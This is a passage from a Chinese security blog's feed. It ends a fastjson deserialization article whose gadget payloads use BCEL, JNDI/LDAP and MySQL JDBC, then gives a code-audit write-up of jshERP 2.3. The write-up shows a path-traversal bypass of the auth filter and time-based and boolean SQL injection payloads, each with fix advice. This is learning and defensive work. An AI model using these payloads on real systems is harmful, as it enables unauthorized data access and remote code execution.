class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.jboss.util.loading.ContextClassLoaderSwitcher&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;contextClassLoader&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;com.sun.org.apache.bcel.internal.util.ClassLoader&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;a&quot;</span><span class="punctuation">:</span> <span class="punctuation">&#123;</span></span><br><span class="line">        <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;$$BCEL$$$l$8b$I$A$A$A$A$A$A$AmS$ebN$d4P$...$A$A&quot;</span></span><br><span class="line">    <span class="punctuation">&#125;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>OracleManagedConnectionFactory</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;oracle.jdbc.connector.OracleManagedConnectionFactory&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;xaDataSourceName&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>JNDIConfiguration</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span></span><br><span class="line">    <span class="attr">&quot;@type&quot;</span><span class="punctuation">:</span> <span class="string">&quot;org.apache.commons.configuration.JNDIConfiguration&quot;</span><span class="punctuation">,</span></span><br><span class="line">    <span class="attr">&quot;prefix&quot;</span><span class="punctuation">:</span> <span class="string">&quot;ldap://127.0.0.1:23457/Command8&quot;</span></span><br><span class="line"><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>&lt; 1.2.68</p><p>无需AutoTypeSupport</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">&#123;</span><br><span class="line">  <span class="string">&quot;@type&quot;</span>: <span class="string">&quot;java.lang.AutoCloseable&quot;</span>,</span><br><span class="line">  <span class="string">&quot;@type&quot;</span>: <span class="string">&quot;com.mysql.jdbc.JDBC4Connection&quot;</span>,</span><br><span class="line">  <span class="string">&quot;hostToConnectTo&quot;</span>: <span class="string">&quot;127.0.0.1&quot;</span>,</span><br><span class="line">  <span class="string">&quot;portToConnectTo&quot;</span>: <span class="number">58225</span>,</span><br><span class="line">  <span class="string">&quot;info&quot;</span>: &#123;</span><br><span class="line">    <span class="string">&quot;user&quot;</span>: <span class="string">&quot;deser_CC31_calc&quot;</span>,</span><br><span class="line">    <span class="string">&quot;statementInterceptors&quot;</span>: <span class="string">&quot;com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&quot;</span>,</span><br><span class="line">    <span class="string">&quot;autoDeserialize&quot;</span>: <span class="string">&quot;true&quot;</span>,</span><br><span class="line">    <span class="string">&quot;NUM_HOSTS&quot;</span>: <span class="string">&quot;1&quot;</span></span><br><span class="line">  &#125;,</span><br><span class="line">  <span class="string">&quot;databaseToConnectTo&quot;</span>: <span class="string">&quot;test&quot;</span>,</span><br><span class="line">  <span class="string">&quot;url&quot;</span>: <span class="string">&quot;jdbc:mysql://127.0.0.1:58225/test?autoDeserialize=true&amp;statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&amp;user=deser_CC31_calc&quot;</span></span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure><h3 id="其他payload"><a href="#其他payload" class="headerlink" title="其他payload"></a>其他payload</h3><p><a href="https://yanghaoi.github.io/2024/08/18/fastjson-lou-dong-chang-jian-wa-jue-he-li-yong-fang-fa/#toc-heading-12">巨详细的payload总结</a></p><p><a href="https://github.com/lemono0/FastJsonParty/tree/main">FastJsonPart</a></p><h2 id="小结"><a href="#小结" class="headerlink" title="小结"></a>小结</h2><p>fastjson应该是我第一个搞了这么久的java组件</p><p>每次版本的更新就像每道更难的ctf题一样</p><p>这里感谢一些师傅的文章分享 没有这些文章 我是不可能搞明白这些的</p><p><a href="https://drun1baby.top/2022/08/08/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96Fastjson%E7%AF%8703-Fastjson%E5%90%84%E7%89%88%E6%9C%AC%E7%BB%95%E8%BF%87%E5%88%86%E6%9E%90/#0x04-1-2-25-1-2-41-%E8%A1%A5%E4%B8%81%E7%BB%95%E8%BF%87">drun1baby师傅的Java反序列化Fastjson篇</a></p><p><a href="https://nivi4.notion.site/fastjson-873722f1374b4c4e99cc3283a38dfb37">nivi4师傅的fastjson</a></p>]]></content>
    
    
      
      
    <summary type="html">&lt;h1 id=&quot;fastjson&quot;&gt;&lt;a href=&quot;#fastjson&quot; class=&quot;headerlink&quot; title=&quot;fastjson&quot;&gt;&lt;/a&gt;fastjson&lt;/h1&gt;&lt;p&gt;fastjson是阿里巴巴提供的高性能json数据解析库 可以高效的将java对象转换为js</summary>
      
    
    
    
    <category term="Java安全" scheme="http://example.com/categories/Java%E5%AE%89%E5%85%A8/"/>
    
    
    <category term="知识" scheme="http://example.com/tags/%E7%9F%A5%E8%AF%86/"/>
    
    <category term="java" scheme="http://example.com/tags/java/"/>
    
    <category term="fastjson" scheme="http://example.com/tags/fastjson/"/>
    
    <category term="java组件" scheme="http://example.com/tags/java%E7%BB%84%E4%BB%B6/"/>
    
  </entry>
  
  <entry>
    <title>华夏erp 2.3</title>
    <link href="http://example.com/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/"/>
    <id>http://example.com/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/</id>
    <published>2026-04-20T07:17:38.000Z</published>
    <updated>2026-05-28T08:31:42.616Z</updated>
    
    <content type="html"><![CDATA[<p>最近刚开始学习代审 搞几个有洞的项目练练手</p><h2 id="华夏erp-2-3"><a href="#华夏erp-2-3" class="headerlink" title="华夏erp 2.3"></a>华夏erp 2.3</h2><p><a href="https://github.com/jishenghua/jshERP/releases/tag/2.3">项目源码</a></p><h3 id="查看pom-xml依赖"><a href="#查看pom-xml依赖" class="headerlink" title="查看pom.xml依赖"></a>查看pom.xml依赖</h3><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420195428382.png" alt="image-20260420195428382"></p><p>是spring boot框架</p><p>看看使用哪些组件</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420195546517.png" alt="image-20260420195546517"></p><p>使用了fastjson和低版本的mysql驱动</p><p>很明显这些版本都有漏洞</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420195620011.png" alt="image-20260420195620011"></p><p>log4j经典漏洞组件</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420195741998.png" alt="image-20260420195741998"></p><p>swagger做api文档</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420195811265.png" alt="image-20260420195811265"></p><p>mybatis做java持久层</p><p>当然可能有些地方这些组件的使用在项目里面也没有漏洞 只是先看看有哪些组件而已</p><h3 id="登录部分"><a href="#登录部分" class="headerlink" title="登录部分"></a>登录部分</h3><p>定位到<code>/user/login</code></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260509101343272.png" alt="image-20260509101343272"></p><p>通过判断请求中是否携带session 判断用户是否登录</p><p>无则尝试登录 </p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260509101747471.png" alt="image-20260509101747471"></p><p>检查登录账号与密码 返回登录状态</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260509101917912.png" alt="image-20260509101917912"></p><p>上面switch case捕获异常 </p><p>默认是登录成功 登录成功后为用户添加session信息</p><p>该项目主要通过session来鉴权</p><h3 id="鉴权部分"><a href="#鉴权部分" class="headerlink" title="鉴权部分"></a>鉴权部分</h3><p>整个项目没有使用比如shiro springsecurity等安全组件</p><p>只有一个全局filter起作用</p><h4 id="查看拦截器"><a href="#查看拦截器" class="headerlink" title="查看拦截器"></a>查看拦截器</h4><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420195902371.png" alt="image-20260420195902371"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420200010683.png" alt="image-20260420200010683"></p><p>先看看filter全局过滤 做了些什么事</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420200037407.png" alt="image-20260420200037407"></p><p>匹配全部路由 有2个初始化参数</p><p><strong>ignoredUrl</strong> 应该是不过滤的url 他的值是一些静态资源</p><p>也就是说一些静态资源的访问不会经过过滤器 </p><p> <strong>filterPath</strong> 中的值&#x2F;user&#x2F;login#&#x2F;user&#x2F;registerUser#&#x2F;v2&#x2F;api-doc 应该是api文档 会被过滤</p><p>现在来看看被重写的doFilter 干了什么事</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420200331979.png" alt="image-20260420200331979"></p><p>前面部分就是检测是否登录了</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420200408379.png" alt="image-20260420200408379"></p><p>当访问路径不为空 且包含如上的访问资源时就不做任何过滤 也就是直接放行了</p><p>这里用的是 <strong>requestUrl.contains()只是简单的确认了是否包含这些内容</strong> 并没有检测其他东西 这里就很可能有<strong>目录穿越</strong>的问题</p><p>继续看看下面的逻辑</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420200917102.png" alt="image-20260420200917102"></p><p>确实访问路径是否在<strong>ignoredUrl</strong>里面 如果有就直接放行 看看verify()</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420201127287.png" alt="image-20260420201127287"></p><p>也是匹配刚刚那些静态资源</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420201626652.png" alt="image-20260420201626652"></p><p>allowUrls和ignoredUrls都是通过初始化值中获取的list</p><p>ignoredUrls是这些</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line">.css</span><br><span class="line">.js</span><br><span class="line">.jpg</span><br><span class="line">.png</span><br><span class="line">.gif</span><br><span class="line">.ico</span><br></pre></td></tr></table></figure><p>后面的一个判断就是判断是否在那些allowUrls中了</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420201730932.png" alt="image-20260420201730932"></p><p>如果访问路径的开头有包含那些allowUrls的元素 就直接放行</p><p>allowUrls是这些</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">/user/login</span><br><span class="line">/user/registerUser</span><br><span class="line">/v2/api-docs</span><br></pre></td></tr></table></figure><p>也就是说这些可以直接访问 其中的api文档可以直接被访问 属于<strong>泄露api路径</strong>了</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420202004215.png" alt="image-20260420202004215"></p><p>如果上面什么都没有匹配到 那就直接去登录页面了</p><h4 id="路径穿越与泄露api路径"><a href="#路径穿越与泄露api路径" class="headerlink" title="路径穿越与泄露api路径"></a>路径穿越与泄露api路径</h4><p>现在我们可以直接启动一下这个项目 然后去测试一下刚刚提到的漏洞</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420202145401.png" alt="image-20260420202145401"></p><p>根据配置文件可以自己动手修改一下数据库连接地址和登录密码什么的</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420202405372.png" alt="image-20260420202405372"></p><p>来到登录界面 抓个包尝试目录穿越</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420203104272.png" alt="image-20260420203104272"></p><p>目前是没有登录的状态</p><p>我们在项目中找几个会爆数据的路由</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420203204908.png" alt="image-20260420203204908"></p><p>这个<code>/account/getAccount</code>会直接报数据 我们用这个路径来测试目录穿越</p><p>根据前面的判断 当访问路径中存在一些静态资源时 只要有就会放行 </p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420203347141.png" alt="image-20260420203347141"></p><p>直接访问<code>/account/getAccount</code>会重定向到login.html</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">/login.html/../account/getAccount</span><br></pre></td></tr></table></figure><p>尝试这样绕过</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420203426608.png" alt="image-20260420203426608"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420204640972.png" alt="image-20260420204640972"></p><p>确实存在<strong>目录穿越</strong> .css后缀的也可以 可以<strong>越权查看所有账户信息</strong> 其他几个数据的接口也可以这样使用</p><p>现在来试试api接口文档</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420203700818.png" alt="image-20260420203700818"></p><p>也确实存在<strong>api泄露</strong>的问题 默认是可以直接访问的 应该是发项目的时候没有搞掉那个路径访问权限</p><h4 id="修复建议"><a href="#修复建议" class="headerlink" title="修复建议"></a>修复建议</h4><p>在判断静态资源加载的时候 不应该直接使用 <code>requestUrl.contains()</code> 判断是否为静态资源</p><p>应该先获取完整路径 然后过滤掉 <code>../</code>这样的请求 然后再判断是否为静态资源</p><p>api文档路径应该及时在filter中删去 </p><h3 id="sql注入"><a href="#sql注入" class="headerlink" title="sql注入"></a>sql注入</h3><p>项目使用Mybaits</p><p>我们直接查看Mapper.xml的sql语句对于参数的处理情况</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260420211721601.png" alt="image-20260420211721601"></p><p>很明显全是用<code>${}</code>来处理参数 </p><p>Mybaits中有2种处理参数的情况</p><p><code>${}</code> 主要是用来处理order by这种sql请求 因为这里需要的参数也是sql语句的标识符 (列名) 他不能被预编译为字面量使用 不然sql语句无法被执行</p><p><code>#{}</code> 用来预编译参数 让参数成为一个字面量 而不是sql语句中的标识符 实现sql语句防御</p><p>项目中的大量存在无预编译的<code>${}</code> 所以肯定存在sql注入</p><hr><p>通过全局搜索<code>${}</code> 寻找哪里可能存在sql注入</p><p>也可以通过在网站中抓包测试一些查询接口 然后反推出代码中具体sql语句</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421093809158.png" alt="image-20260421093809158"></p><p>随便输入点信息 然后点击查询 </p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421094017615.png" alt="image-20260421094017615"></p><p>search中的值为</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;出库&quot;</span><span class="punctuation">,</span><span class="attr">&quot;subType&quot;</span><span class="punctuation">:</span><span class="string">&quot;零售&quot;</span><span class="punctuation">,</span><span class="attr">&quot;roleType&quot;</span><span class="punctuation">:</span><span class="string">&quot;全部数据&quot;</span><span class="punctuation">,</span><span class="attr">&quot;status&quot;</span><span class="punctuation">:</span><span class="string">&quot;&quot;</span><span class="punctuation">,</span><span class="attr">&quot;number&quot;</span><span class="punctuation">:</span><span class="string">&quot;1&quot;</span><span class="punctuation">,</span><span class="attr">&quot;beginTime&quot;</span><span class="punctuation">:</span><span class="string">&quot;2026-03-31+00:00:00&quot;</span><span class="punctuation">,</span><span class="attr">&quot;endTime&quot;</span><span class="punctuation">:</span><span class="string">&quot;2026-04-06+23:59:59&quot;</span><span class="punctuation">,</span><span class="attr">&quot;materialParam&quot;</span><span class="punctuation">:</span><span class="string">&quot;2&quot;</span><span class="punctuation">,</span><span class="attr">&quot;depotIds&quot;</span><span class="punctuation">:</span><span class="string">&quot;&quot;</span><span class="punctuation">&#125;</span></span><br></pre></td></tr></table></figure><p>接口名为<code>/depotHead/list</code> 在代码中反推这个接口位置与sql语句</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421094448060.png" alt="image-20260421094448060"></p><p>寻找到<code>/depotHead</code>接口</p><p>但是在Controller没找到<code>list</code>接口</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421094627200.png" alt="image-20260421094627200"></p><p>有一个<code>/{apiName}/list</code> 应该是通用的接口 通过不同apiName执行不同的sql语句</p><p>寻找与<code>depotHead</code>有关的Mapper接口</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421095115771.png" alt="image-20260421095115771"></p><p>分别看一下这2个Mapper</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421095139787.png" alt="image-20260421095139787"></p><p>看看接口参数 再看看数据包中的参数类型</p><figure class="highlight json"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="punctuation">&#123;</span><span class="attr">&quot;type&quot;</span><span class="punctuation">:</span><span class="string">&quot;出库&quot;</span><span class="punctuation">,</span><span class="attr">&quot;subType&quot;</span><span class="punctuation">:</span><span class="string">&quot;零售&quot;</span><span class="punctuation">,</span><span class="attr">&quot;roleType&quot;</span><span class="punctuation">:</span><span class="string">&quot;全部数据&quot;</span><span class="punctuation">,</span><span class="attr">&quot;status&quot;</span><span class="punctuation">:</span><span class="string">&quot;&quot;</span><span class="punctuation">,</span><span class="attr">&quot;number&quot;</span><span class="punctuation">:</span><span class="string">&quot;1&quot;</span><span class="punctuation">,</span><span class="attr">&quot;beginTime&quot;</span><span class="punctuation">:</span><span class="string">&quot;2026-03-31+00:00:00&quot;</span><span class="punctuation">,</span><span class="attr">&quot;endTime&quot;</span><span class="punctuation">:</span><span class="string">&quot;2026-04-06+23:59:59&quot;</span><span class="punctuation">,</span><span class="attr">&quot;materialParam&quot;</span><span class="punctuation">:</span><span class="string">&quot;2&quot;</span><span class="punctuation">,</span><span class="attr">&quot;depotIds&quot;</span><span class="punctuation">:</span><span class="string">&quot;&quot;</span><span class="punctuation">&#125;</span>&amp;currentPage=<span class="number">1</span>&amp;pageSize=<span class="number">15</span></span><br></pre></td></tr></table></figure><p>前面的参数和selectByConditionDepotHead接口中的参数对的上 offset与rows实际就是currentPage与pageSize</p><p>现在找到api对应的Mapper接口方法了</p><p>通过方法名查找Mapper.xml文件 去看看具体sql语句</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421095429359.png" alt="image-20260421095429359"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421095445869.png" alt="image-20260421095445869"></p><p>在DepotHeadMapperEx.xml中查找到对应方法与sql语句 并且里面对于参数的处理是直接使用${} 直接拼接参数 可能存在sql注入</p><p>回到bp中 尝试延迟注入</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;type&quot;:&quot;&#x27;or sleep(0.01)--&quot;,&quot;subType&quot;:&quot;零售&quot;,&quot;roleType&quot;:&quot;全部数据&quot;,&quot;status&quot;:&quot;&quot;,&quot;number&quot;:&quot;1&quot;,&quot;beginTime&quot;:&quot;2026-03-31+00:00:00&quot;,&quot;endTime&quot;:&quot;2026-04-06+23:59:59&quot;,&quot;materialParam&quot;:&quot;2&quot;,&quot;depotIds&quot;:&quot;&quot;&#125;&amp;currentPage=1&amp;pageSize=15</span><br></pre></td></tr></table></figure><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">%</span><span class="language-bash">7B%22type%22%3A%22%27or%20sleep%280.01%29--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%221%22%2C%22beginTime%22%3A%222026-03-31%2B00%3A00%3A00%22%2C%22endTime%22%3A%222026-04-06%2B23%3A59%3A59%22%2C%22materialParam%22%3A%222%22%2C%22depotIds%22%3A%22%22%7D&amp;currentPage=1&amp;pageSize=15</span></span><br></pre></td></tr></table></figure><p>查看回显时间</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421103940680.png" alt="image-20260421103940680"></p><p>差不多是2秒 </p><p>再看看项目日志</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421104020194.png" alt="image-20260421104020194"></p><p>确实是拼接上去了 这里使用的是or 所以即使前面闭合 结果为false 后面的or语句也照样会执行</p><p>如果这里使用的是and 前面闭合且为空 结果为false 按理来说后面的语句应该就不会执行了</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421104253707.png" alt="image-20260421104253707"></p><p>这里用了and sleep(0.01) 响应时间为1秒</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421104340391.png" alt="image-20260421104340391"></p><p>sleep(0.02) 响应时间也为1秒 这里就是没有执行我们的sleep()函数 就是刚刚说的原因</p><p>or sleep(0.02)</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421104446231.png" alt="image-20260421104446231"></p><p>响应时间差不多为3秒 和之前 or sleep(0.01) 响应时间为2秒有一定的规律性 可以判断为<strong>存在延迟注入</strong></p><p>我们接着直接试试布尔注入</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;type&quot;:&quot;出库&#x27; and 1=0 --&quot;,&quot;subType&quot;:&quot;零售&quot;,&quot;roleType&quot;:&quot;全部数据&quot;,&quot;status&quot;:&quot;&quot;,&quot;number&quot;:&quot;&quot;,&quot;beginTime&quot;:&quot;&quot;,&quot;endTime&quot;:&quot;&quot;,&quot;materialParam&quot;:&quot;&quot;,&quot;depotIds&quot;:&quot;&quot;&#125;</span><br></pre></td></tr></table></figure><p>url编码一下然后看看什么情况</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">%</span><span class="language-bash">7B%22type%22%3A%22%E5%87%BA%E5%BA%93%27%20and%200%3D1%20--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22depotIds%22%3A%22%22%7D</span></span><br></pre></td></tr></table></figure><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421145313480.png" alt="image-20260421145313480"></p><p>因为1&#x3D;0恒为0 所以没有数据</p><p>我们改成1&#x3D;1</p><figure class="highlight java"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">%7B%22type%<span class="number">22</span>%3A%<span class="number">22</span>%E5%<span class="number">87</span>%BA%E5%BA%<span class="number">93</span>%<span class="number">27</span>%20and%<span class="number">201</span>%3D1%<span class="number">20</span>--%<span class="number">22</span>%2C%22subType%<span class="number">22</span>%3A%<span class="number">22</span>%E9%9B%B6%E5%<span class="number">94</span>%AE%<span class="number">22</span>%2C%22roleType%<span class="number">22</span>%3A%<span class="number">22</span>%E5%<span class="number">85</span>%A8%E9%<span class="number">83</span>%A8%E6%<span class="number">95</span>%B0%E6%<span class="number">8D</span>%AE%<span class="number">22</span>%2C%22status%<span class="number">22</span>%3A%<span class="number">22</span>%<span class="number">22</span>%2C%22number%<span class="number">22</span>%3A%<span class="number">22</span>%<span class="number">22</span>%2C%22beginTime%<span class="number">22</span>%3A%<span class="number">22</span>%<span class="number">22</span>%2C%22endTime%<span class="number">22</span>%3A%<span class="number">22</span>%<span class="number">22</span>%2C%22materialParam%<span class="number">22</span>%3A%<span class="number">22</span>%<span class="number">22</span>%2C%22depotIds%<span class="number">22</span>%3A%<span class="number">22</span>%<span class="number">22</span>%<span class="number">7D</span></span><br></pre></td></tr></table></figure><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421145423907.png" alt="image-20260421145423907"></p><p>成功查询出数据 存在布尔注入</p><p>一开始我想用if判断</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;type&quot;:&quot;出库&#x27; and if(1=1,1,0) --&quot;,&quot;subType&quot;:&quot;零售&quot;,&quot;roleType&quot;:&quot;全部数据&quot;,&quot;status&quot;:&quot;&quot;,&quot;number&quot;:&quot;&quot;,&quot;beginTime&quot;:&quot;&quot;,&quot;endTime&quot;:&quot;&quot;,&quot;materialParam&quot;:&quot;&quot;,&quot;depotIds&quot;:&quot;&quot;&#125;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">%</span><span class="language-bash">7B%22type%22%3A%22%E5%87%BA%E5%BA%93%27%20and%20if%281%3D1%2C1%2C0%29%20--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22depotIds%22%3A%22%22%7D</span></span><br></pre></td></tr></table></figure><p>但是发现没法用if函数</p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421145545379.png" alt="image-20260421145545379"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421145719805.png" alt="image-20260421145719805"></p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421150507609.png" alt="image-20260421150507609"></p><p>报错里说无法被执行 不期待使用if</p><p>ai了一下 </p><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421145832864.png" alt="image-20260421145832864"></p><p>看起来是解析的时候没法解析我们的if函数</p><p>那么我们就不用if就行 就用其他方式照样可以</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line">&#123;&quot;type&quot;:&quot;出库&#x27; and ascii(substr(database(),1,1)) &gt; 97 --&quot;,&quot;subType&quot;:&quot;零售&quot;,&quot;roleType&quot;:&quot;全部数据&quot;,&quot;status&quot;:&quot;&quot;,&quot;number&quot;:&quot;&quot;,&quot;beginTime&quot;:&quot;&quot;,&quot;endTime&quot;:&quot;&quot;,&quot;materialParam&quot;:&quot;&quot;,&quot;depotIds&quot;:&quot;&quot;&#125;</span><br><span class="line"><span class="meta prompt_"></span></span><br><span class="line"><span class="meta prompt_">%</span><span class="language-bash">7B%22type%22%3A%22%E5%87%BA%E5%BA%93%27%20and%20ascii%28substr%28database%28%29%2C1%2C1%29%29%20%3E%2097%20--%22%2C%22subType%22%3A%22%E9%9B%B6%E5%94%AE%22%2C%22roleType%22%3A%22%E5%85%A8%E9%83%A8%E6%95%B0%E6%8D%AE%22%2C%22status%22%3A%22%22%2C%22number%22%3A%22%22%2C%22beginTime%22%3A%22%22%2C%22endTime%22%3A%22%22%2C%22materialParam%22%3A%22%22%2C%22depotIds%22%3A%22%22%7D</span></span><br></pre></td></tr></table></figure><p><img src="/2026/04/20/%E5%8D%8E%E5%A4%8FerpV2.3/image-20260421150011445.png" alt="image-20260421150011445"></p><p>成功执行 可以得到数据库的第一个字母的ascii值应该大于97</p><p>至此sql注入可以实现爆数据了</p><h4 id="修复建议-1"><a href="#修复建议-1" class="headerlink" title="修复建议"></a>修复建议</h4><p>严格限制 <code>${}</code>的使用  尽量都使用<code>#{}</code></p><p><code>order by 和 limit </code>等查询的时候 一定要做黑白名单 限制传入的参数类型</p><h3 id="fastjson反序列化"><a href="#fastjson反序列化" class="headerlink" title="fastjson反序列化"></a>fastjson反序列化</h3><p>在接收json数据时 